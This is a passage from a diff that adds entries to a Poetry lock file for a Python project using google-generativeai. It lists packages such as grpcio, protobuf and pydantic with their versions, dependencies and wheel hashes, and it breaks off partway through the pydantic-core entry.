["main"] +markers = "platform_system == \"Windows\"" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "google-ai-generativelanguage" +version = "0.6.10" +description = "Google Ai Generativelanguage API client library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_ai_generativelanguage-0.6.10-py3-none-any.whl", hash = "sha256:854a2bf833d18be05ad5ef13c755567b66a4f4a870f099b62c61fe11bddabcf4"}, + {file = "google_ai_generativelanguage-0.6.10.tar.gz", hash = "sha256:6fa642c964d8728006fe7e8771026fc0b599ae0ebeaf83caf550941e8e693455"}, +] + +[package.dependencies] +google-api-core = {version = ">=1.34.1,<2.0.dev0 || >=2.11.dev0,<3.0.0dev", extras = ["grpc"]} +google-auth = ">=2.14.1,<2.24.0 || >2.24.0,<2.25.0 || >2.25.0,<3.0.0dev" +proto-plus = ">=1.22.3,<2.0.0dev" +protobuf = ">=3.20.2,<4.21.0 || >4.21.0,<4.21.1 || >4.21.1,<4.21.2 || >4.21.2,<4.21.3 || >4.21.3,<4.21.4 || >4.21.4,<4.21.5 || >4.21.5,<6.0.0dev" + +[[package]] +name = "google-api-core" +version = "2.23.0" +description = "Google API client core library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_api_core-2.23.0-py3-none-any.whl", hash = "sha256:c20100d4c4c41070cf365f1d8ddf5365915291b5eb11b83829fbd1c999b5122f"}, + {file = "google_api_core-2.23.0.tar.gz", hash = "sha256:2ceb087315e6af43f256704b871d99326b1f12a9d6ce99beaedec99ba26a0ace"}, +] + +[package.dependencies] +google-auth = ">=2.14.1,<3.0.dev0" +googleapis-common-protos = ">=1.56.2,<2.0.dev0" +grpcio = {version = ">=1.49.1,<2.0dev", optional = true, markers = "python_version >= \"3.11\" and extra == \"grpc\""} +grpcio-status = {version = ">=1.49.1,<2.0.dev0", optional = true, markers = "python_version >= \"3.11\" and extra == \"grpc\""} +proto-plus = ">=1.22.3,<2.0.0dev" +protobuf = ">=3.19.5,<3.20.0 || >3.20.0,<3.20.1 || >3.20.1,<4.21.0 || >4.21.0,<4.21.1 || >4.21.1,<4.21.2 || >4.21.2,<4.21.3 || >4.21.3,<4.21.4 || >4.21.4,<4.21.5 || >4.21.5,<6.0.0.dev0" +requests = ">=2.18.0,<3.0.0.dev0" + +[package.extras] +async-rest = ["google-auth[aiohttp] (>=2.35.0,<3.0.dev0)"] +grpc = ["grpcio (>=1.33.2,<2.0dev)", "grpcio (>=1.49.1,<2.0dev) ; python_version >= \"3.11\"", "grpcio-status (>=1.33.2,<2.0.dev0)", "grpcio-status (>=1.49.1,<2.0.dev0) ; python_version >= \"3.11\""] +grpcgcp = ["grpcio-gcp (>=0.2.2,<1.0.dev0)"] +grpcio-gcp = ["grpcio-gcp (>=0.2.2,<1.0.dev0)"] + +[[package]] +name = "google-api-python-client" +version = "2.187.0" +description = "Google API Client Library for Python" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_api_python_client-2.187.0-py3-none-any.whl", hash = "sha256:d8d0f6d85d7d1d10bdab32e642312ed572bdc98919f72f831b44b9a9cebba32f"}, + {file = "google_api_python_client-2.187.0.tar.gz", hash = "sha256:e98e8e8f49e1b5048c2f8276473d6485febc76c9c47892a8b4d1afa2c9ec8278"}, +] + +[package.dependencies] +google-api-core = ">=1.31.5,<2.0.dev0 || >2.3.0,<3.0.0" +google-auth = ">=1.32.0,<2.24.0 || >2.24.0,<2.25.0 || >2.25.0,<3.0.0" +google-auth-httplib2 = ">=0.2.0,<1.0.0" +httplib2 = ">=0.19.0,<1.0.0" +uritemplate = ">=3.0.1,<5" + +[[package]] +name = "google-auth" +version = "2.36.0" +description = "Google Authentication Library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_auth-2.36.0-py2.py3-none-any.whl", hash = "sha256:51a15d47028b66fd36e5c64a82d2d57480075bccc7da37cde257fc94177a61fb"}, + {file = "google_auth-2.36.0.tar.gz", hash = "sha256:545e9618f2df0bcbb7dcbc45a546485b1212624716975a1ea5ae8149ce769ab1"}, +] + +[package.dependencies] +cachetools = ">=2.0.0,<6.0" +pyasn1-modules = ">=0.2.1" +rsa = ">=3.1.4,<5" + +[package.extras] +aiohttp = ["aiohttp (>=3.6.2,<4.0.0.dev0)", "requests (>=2.20.0,<3.0.0.dev0)"] +enterprise-cert = ["cryptography", "pyopenssl"] +pyopenssl = ["cryptography (>=38.0.3)", "pyopenssl (>=20.0.0)"] +reauth = ["pyu2f (>=0.1.5)"] +requests = ["requests (>=2.20.0,<3.0.0.dev0)"] + +[[package]] +name = "google-auth-httplib2" +version = "0.2.1" +description = "Google Authentication Library: httplib2 transport" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_auth_httplib2-0.2.1-py3-none-any.whl", hash = "sha256:1be94c611db91c01f9703e7f62b0a59bbd5587a95571c7b6fade510d648bc08b"}, + {file = "google_auth_httplib2-0.2.1.tar.gz", hash = "sha256:5ef03be3927423c87fb69607b42df23a444e434ddb2555b73b3679793187b7de"}, +] + +[package.dependencies] +google-auth = ">=1.32.0,<3.0.0" +httplib2 = ">=0.19.0,<1.0.0" + +[[package]] +name = "google-generativeai" +version = "0.8.3" +description = "Google Generative AI High level API client library and tools." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "google_generativeai-0.8.3-py3-none-any.whl", hash = "sha256:1108ff89d5b8e59f51e63d1a8bf84701cd84656e17ca28d73aeed745e736d9b7"}, +] + +[package.dependencies] +google-ai-generativelanguage = "0.6.10" +google-api-core = "*" +google-api-python-client = "*" +google-auth = ">=2.15.0" +protobuf = "*" +pydantic = "*" +tqdm = "*" +typing-extensions = "*" + +[package.extras] +dev = ["Pillow", "absl-py", "black", "ipython", "nose2", "pandas", "pytype", "pyyaml"] + +[[package]] +name = "googleapis-common-protos" +version = "1.72.0" +description = "Common protobufs used in Google APIs" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "googleapis_common_protos-1.72.0-py3-none-any.whl", hash = "sha256:4299c5a82d5ae1a9702ada957347726b167f9f8d1fc352477702a1e851ff4038"}, + {file = "googleapis_common_protos-1.72.0.tar.gz", hash = "sha256:e55a601c1b32b52d7a3e65f43563e2aa61bcd737998ee672ac9b951cd49319f5"}, +] + +[package.dependencies] +protobuf = ">=3.20.2,<4.21.1 || >4.21.1,<4.21.2 || >4.21.2,<4.21.3 || >4.21.3,<4.21.4 || >4.21.4,<4.21.5 || >4.21.5,<7.0.0" + +[package.extras] +grpc = ["grpcio (>=1.44.0,<2.0.0)"] + +[[package]] +name = "grpcio" +version = "1.76.0" +description = "HTTP/2-based RPC framework" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "grpcio-1.76.0-cp310-cp310-linux_armv7l.whl", hash = "sha256:65a20de41e85648e00305c1bb09a3598f840422e522277641145a32d42dcefcc"}, + {file = "grpcio-1.76.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:40ad3afe81676fd9ec6d9d406eda00933f218038433980aa19d401490e46ecde"}, + {file = "grpcio-1.76.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:035d90bc79eaa4bed83f524331d55e35820725c9fbb00ffa1904d5550ed7ede3"}, + {file = "grpcio-1.76.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:4215d3a102bd95e2e11b5395c78562967959824156af11fa93d18fdd18050990"}, + {file = "grpcio-1.76.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:49ce47231818806067aea3324d4bf13825b658ad662d3b25fada0bdad9b8a6af"}, + {file = "grpcio-1.76.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8cc3309d8e08fd79089e13ed4819d0af72aa935dd8f435a195fd152796752ff2"}, + {file = "grpcio-1.76.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:971fd5a1d6e62e00d945423a567e42eb1fa678ba89072832185ca836a94daaa6"}, + {file = "grpcio-1.76.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9d9adda641db7207e800a7f089068f6f645959f2df27e870ee81d44701dd9db3"}, + {file = "grpcio-1.76.0-cp310-cp310-win32.whl", hash = "sha256:063065249d9e7e0782d03d2bca50787f53bd0fb89a67de9a7b521c4a01f1989b"}, + {file = "grpcio-1.76.0-cp310-cp310-win_amd64.whl", hash = "sha256:a6ae758eb08088d36812dd5d9af7a9859c05b1e0f714470ea243694b49278e7b"}, + {file = "grpcio-1.76.0-cp311-cp311-linux_armv7l.whl", hash = "sha256:2e1743fbd7f5fa713a1b0a8ac8ebabf0ec980b5d8809ec358d488e273b9cf02a"}, + {file = "grpcio-1.76.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:a8c2cf1209497cf659a667d7dea88985e834c24b7c3b605e6254cbb5076d985c"}, + {file = "grpcio-1.76.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:08caea849a9d3c71a542827d6df9d5a69067b0a1efbea8a855633ff5d9571465"}, + {file = "grpcio-1.76.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f0e34c2079d47ae9f6188211db9e777c619a21d4faba6977774e8fa43b085e48"}, + {file = "grpcio-1.76.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8843114c0cfce61b40ad48df65abcfc00d4dba82eae8718fab5352390848c5da"}, + {file = "grpcio-1.76.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8eddfb4d203a237da6f3cc8a540dad0517d274b5a1e9e636fd8d2c79b5c1d397"}, + {file = "grpcio-1.76.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:32483fe2aab2c3794101c2a159070584e5db11d0aa091b2c0ea9c4fc43d0d749"}, + {file = "grpcio-1.76.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:dcfe41187da8992c5f40aa8c5ec086fa3672834d2be57a32384c08d5a05b4c00"}, + {file = "grpcio-1.76.0-cp311-cp311-win32.whl", hash = "sha256:2107b0c024d1b35f4083f11245c0e23846ae64d02f40b2b226684840260ed054"}, + {file = "grpcio-1.76.0-cp311-cp311-win_amd64.whl", hash = "sha256:522175aba7af9113c48ec10cc471b9b9bd4f6ceb36aeb4544a8e2c80ed9d252d"}, + {file = "grpcio-1.76.0-cp312-cp312-linux_armv7l.whl", hash = "sha256:81fd9652b37b36f16138611c7e884eb82e0cec137c40d3ef7c3f9b3ed00f6ed8"}, + {file = "grpcio-1.76.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:04bbe1bfe3a68bbfd4e52402ab7d4eb59d72d02647ae2042204326cf4bbad280"}, + {file = "grpcio-1.76.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d388087771c837cdb6515539f43b9d4bf0b0f23593a24054ac16f7a960be16f4"}, + {file = "grpcio-1.76.0-cp312-cp312-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:9f8f757bebaaea112c00dba718fc0d3260052ce714e25804a03f93f5d1c6cc11"}, + {file = "grpcio-1.76.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6"}, + {file = "grpcio-1.76.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f92f88e6c033db65a5ae3d97905c8fea9c725b63e28d5a75cb73b49bda5024d8"}, + {file = "grpcio-1.76.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4baf3cbe2f0be3289eb68ac8ae771156971848bb8aaff60bad42005539431980"}, + {file = "grpcio-1.76.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882"}, + {file = "grpcio-1.76.0-cp312-cp312-win32.whl", hash = "sha256:45d59a649a82df5718fd9527ce775fd66d1af35e6d31abdcdc906a49c6822958"}, + {file = "grpcio-1.76.0-cp312-cp312-win_amd64.whl", hash = "sha256:c088e7a90b6017307f423efbb9d1ba97a22aa2170876223f9709e9d1de0b5347"}, + {file = "grpcio-1.76.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:26ef06c73eb53267c2b319f43e6634c7556ea37672029241a056629af27c10e2"}, + {file = "grpcio-1.76.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:45e0111e73f43f735d70786557dc38141185072d7ff8dc1829d6a77ac1471468"}, + {file = "grpcio-1.76.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:83d57312a58dcfe2a3a0f9d1389b299438909a02db60e2f2ea2ae2d8034909d3"}, + {file = "grpcio-1.76.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:3e2a27c89eb9ac3d81ec8835e12414d73536c6e620355d65102503064a4ed6eb"}, + {file = "grpcio-1.76.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae"}, + {file = "grpcio-1.76.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6a15c17af8839b6801d554263c546c69c4d7718ad4321e3166175b37eaacca77"}, + {file = "grpcio-1.76.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:25a18e9810fbc7e7f03ec2516addc116a957f8cbb8cbc95ccc80faa072743d03"}, + {file = "grpcio-1.76.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42"}, + {file = "grpcio-1.76.0-cp313-cp313-win32.whl", hash = "sha256:5e8571632780e08526f118f74170ad8d50fb0a48c23a746bef2a6ebade3abd6f"}, + {file = "grpcio-1.76.0-cp313-cp313-win_amd64.whl", hash = "sha256:f9f7bd5faab55f47231ad8dba7787866b69f5e93bc306e3915606779bbfb4ba8"}, + {file = "grpcio-1.76.0-cp314-cp314-linux_armv7l.whl", hash = "sha256:ff8a59ea85a1f2191a0ffcc61298c571bc566332f82e5f5be1b83c9d8e668a62"}, + {file = "grpcio-1.76.0-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:06c3d6b076e7b593905d04fdba6a0525711b3466f43b3400266f04ff735de0cd"}, + {file = "grpcio-1.76.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fd5ef5932f6475c436c4a55e4336ebbe47bd3272be04964a03d316bbf4afbcbc"}, + {file = "grpcio-1.76.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:b331680e46239e090f5b3cead313cc772f6caa7d0fc8de349337563125361a4a"}, + {file = "grpcio-1.76.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba"}, + {file = "grpcio-1.76.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:490fa6d203992c47c7b9e4a9d39003a0c2bcc1c9aa3c058730884bbbb0ee9f09"}, + {file = "grpcio-1.76.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:479496325ce554792dba6548fae3df31a72cef7bad71ca2e12b0e58f9b336bfc"}, + {file = "grpcio-1.76.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc"}, + {file = "grpcio-1.76.0-cp314-cp314-win32.whl", hash = "sha256:747fa73efa9b8b1488a95d0ba1039c8e2dca0f741612d80415b1e1c560febf4e"}, + {file = "grpcio-1.76.0-cp314-cp314-win_amd64.whl", hash = "sha256:922fa70ba549fce362d2e2871ab542082d66e2aaf0c19480ea453905b01f384e"}, + {file = "grpcio-1.76.0-cp39-cp39-linux_armv7l.whl", hash = "sha256:8ebe63ee5f8fa4296b1b8cfc743f870d10e902ca18afc65c68cf46fd39bb0783"}, + {file = "grpcio-1.76.0-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:3bf0f392c0b806905ed174dcd8bdd5e418a40d5567a05615a030a5aeddea692d"}, + {file = "grpcio-1.76.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0b7604868b38c1bfd5cf72d768aedd7db41d78cb6a4a18585e33fb0f9f2363fd"}, + {file = "grpcio-1.76.0-cp39-cp39-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:e6d1db20594d9daba22f90da738b1a0441a7427552cc6e2e3d1297aeddc00378"}, + {file = "grpcio-1.76.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d099566accf23d21037f18a2a63d323075bebace807742e4b0ac210971d4dd70"}, + {file = "grpcio-1.76.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:ebea5cc3aa8ea72e04df9913492f9a96d9348db876f9dda3ad729cfedf7ac416"}, + {file = "grpcio-1.76.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:0c37db8606c258e2ee0c56b78c62fc9dee0e901b5dbdcf816c2dd4ad652b8b0c"}, + {file = "grpcio-1.76.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:ebebf83299b0cb1721a8859ea98f3a77811e35dce7609c5c963b9ad90728f886"}, + {file = "grpcio-1.76.0-cp39-cp39-win32.whl", hash = "sha256:0aaa82d0813fd4c8e589fac9b65d7dd88702555f702fb10417f96e2a2a6d4c0f"}, + {file = "grpcio-1.76.0-cp39-cp39-win_amd64.whl", hash = "sha256:acab0277c40eff7143c2323190ea57b9ee5fd353d8190ee9652369fae735668a"}, + {file = "grpcio-1.76.0.tar.gz", hash = "sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73"}, +] + +[package.dependencies] +typing-extensions = ">=4.12,<5.0" + +[package.extras] +protobuf = ["grpcio-tools (>=1.76.0)"] + +[[package]] +name = "grpcio-status" +version = "1.71.2" +description = "Status proto mapping for gRPC" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "grpcio_status-1.71.2-py3-none-any.whl", hash = "sha256:803c98cb6a8b7dc6dbb785b1111aed739f241ab5e9da0bba96888aa74704cfd3"}, + {file = "grpcio_status-1.71.2.tar.gz", hash = "sha256:c7a97e176df71cdc2c179cd1847d7fc86cca5832ad12e9798d7fed6b7a1aab50"}, +] + +[package.dependencies] +googleapis-common-protos = ">=1.5.5" +grpcio = ">=1.71.2" +protobuf = ">=5.26.1,<6.0dev" + +[[package]] +name = "httplib2" +version = "0.31.0" +description = "A comprehensive HTTP client library." +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "httplib2-0.31.0-py3-none-any.whl", hash = "sha256:b9cd78abea9b4e43a7714c6e0f8b6b8561a6fc1e95d5dbd367f5bf0ef35f5d24"}, + {file = "httplib2-0.31.0.tar.gz", hash = "sha256:ac7ab497c50975147d4f7b1ade44becc7df2f8954d42b38b3d69c515f531135c"}, +] + +[package.dependencies] +pyparsing = ">=3.0.4,<4" + +[[package]] +name = "idna" +version = "3.11" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea"}, + {file = "idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902"}, +] + +[package.extras] +all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] + +[[package]] +name = "markdown-it-py" +version = "4.0.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147"}, + {file = "markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "markdown-it-pyrs", "mistletoe (>=1.0,<2.0)", "mistune (>=3.0,<4.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins (>=0.5.0)"] +profiling = ["gprof2dot"] +rtd = ["ipykernel", "jupyter_sphinx", "mdit-py-plugins (>=0.5.0)", "myst-parser", "pyyaml", "sphinx", "sphinx-book-theme (>=1.0,<2.0)", "sphinx-copybutton", "sphinx-design"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions", "requests"] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "proto-plus" +version = "1.26.1" +description = "Beautiful, Pythonic protocol buffers" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "proto_plus-1.26.1-py3-none-any.whl", hash = "sha256:13285478c2dcf2abb829db158e1047e2f1e8d63a077d94263c2b88b043c75a66"}, + {file = "proto_plus-1.26.1.tar.gz", hash = "sha256:21a515a4c4c0088a773899e23c7bbade3d18f9c66c73edd4c7ee3816bc96a012"}, +] + +[package.dependencies] +protobuf = ">=3.19.0,<7.0.0" + +[package.extras] +testing = ["google-api-core (>=1.31.5)"] + +[[package]] +name = "protobuf" +version = "5.29.5" +description = "" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "protobuf-5.29.5-cp310-abi3-win32.whl", hash = "sha256:3f1c6468a2cfd102ff4703976138844f78ebd1fb45f49011afc5139e9e283079"}, + {file = "protobuf-5.29.5-cp310-abi3-win_amd64.whl", hash = "sha256:3f76e3a3675b4a4d867b52e4a5f5b78a2ef9565549d4037e06cf7b0942b1d3fc"}, + {file = "protobuf-5.29.5-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:e38c5add5a311f2a6eb0340716ef9b039c1dfa428b28f25a7838ac329204a671"}, + {file = "protobuf-5.29.5-cp38-abi3-manylinux2014_aarch64.whl", hash = "sha256:fa18533a299d7ab6c55a238bf8629311439995f2e7eca5caaff08663606e9015"}, + {file = "protobuf-5.29.5-cp38-abi3-manylinux2014_x86_64.whl", hash = "sha256:63848923da3325e1bf7e9003d680ce6e14b07e55d0473253a690c3a8b8fd6e61"}, + {file = "protobuf-5.29.5-cp38-cp38-win32.whl", hash = "sha256:ef91363ad4faba7b25d844ef1ada59ff1604184c0bcd8b39b8a6bef15e1af238"}, + {file = "protobuf-5.29.5-cp38-cp38-win_amd64.whl", hash = "sha256:7318608d56b6402d2ea7704ff1e1e4597bee46d760e7e4dd42a3d45e24b87f2e"}, + {file = "protobuf-5.29.5-cp39-cp39-win32.whl", hash = "sha256:6f642dc9a61782fa72b90878af134c5afe1917c89a568cd3476d758d3c3a0736"}, + {file = "protobuf-5.29.5-cp39-cp39-win_amd64.whl", hash = "sha256:470f3af547ef17847a28e1f47200a1cbf0ba3ff57b7de50d22776607cd2ea353"}, + {file = "protobuf-5.29.5-py3-none-any.whl", hash = "sha256:6cf42630262c59b2d8de33954443d94b746c952b01434fc58a417fdbd2e84bd5"}, + {file = "protobuf-5.29.5.tar.gz", hash = "sha256:bc1463bafd4b0929216c35f437a8e28731a2b7fe3d98bb77a600efced5a15c84"}, +] + +[[package]] +name = "pyasn1" +version = "0.6.1" +description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"}, + {file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"}, +] + +[[package]] +name = "pyasn1-modules" +version = "0.4.2" +description = "A collection of ASN.1-based protocols modules" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"}, + {file = "pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6"}, +] + +[package.dependencies] +pyasn1 = ">=0.6.1,<0.7.0" + +[[package]] +name = "pydantic" +version = "2.12.4" +description = "Data validation using Python type hints" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pydantic-2.12.4-py3-none-any.whl", hash = "sha256:92d3d202a745d46f9be6df459ac5a064fdaa3c1c4cd8adcfa332ccf3c05f871e"}, + {file = "pydantic-2.12.4.tar.gz", hash = "sha256:0f8cb9555000a4b5b617f66bfd2566264c4984b27589d3b845685983e8ea85ac"}, +] + +[package.dependencies] +annotated-types = ">=0.6.0" +pydantic-core = "2.41.5" +typing-extensions = ">=4.14.1" +typing-inspection = ">=0.4.2" + +[package.extras] +email = ["email-validator (>=2.0.0)"] +timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +description = "Core functionality for Pydantic validation and serialization" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146"}, + {file = "pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a"}, + {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c"}, + {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2"}, + {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556"}, + {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49"}, + {file = "pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba"}, + {file = "pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9"}, + {file = "pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6"}, + {file = "pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b"}, + {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a"}, + {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = 